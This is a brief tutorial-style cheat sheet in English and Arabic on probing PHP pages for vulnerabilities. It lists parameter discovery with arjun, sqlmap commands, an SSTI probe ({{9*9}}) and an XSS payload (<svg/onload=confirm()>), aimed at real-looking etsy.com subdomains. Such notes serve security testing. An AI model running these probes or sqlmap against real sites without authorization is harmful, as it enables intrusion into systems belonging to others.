Exploiting php

```
        Exploiting php

=> find parameters => arjun , paramminer


=> https://example.com/file.php?id=x&username=ahemd

SSTI
SQL injection

=> https://example.com/file.php
```

- اول حاجه معاك انك تطلع كل الروابط بتاعت php
- وتحاول تشوف الـ parameters موجوده فيها باداه زي arjun
- عشان تقدر تعمل هجمه زي sql injection or server site templet injection(ssti)

```
arjun -u  http://devilsworkshop.etsy.com/buy.php

       => found parameter id, rt, e
        http://devilsworkshop.etsy.com/buy.php?id=1&rt=ali&e=1

 sqlmap -u "http://devilsworkshop.etsy.com/buy.php?id=1&rt=ali&e=1"
```

- لو عاوز تشتغل ب list علي arjun بتستعمل -i

```
https://adobe.etsy.com/wp-admin/admin-ajax.php?action=<svg/onload=confirm()>
https://adobe.etsy.com/wp-admin/admin-ajax.php?action={{9*9}}
```

- خلي بالك انه لو رجعلك قيمه 81 يبق مصاب ب ssti
- وممكن تجرب xss payload وكمان
- وممكن تجرب ب sql map علي الرابط ال تلاقي فيه parameter

- ممكن تشوف طبعا اصدراه من wapalyzer وتشوف اي الثغرات ال فيه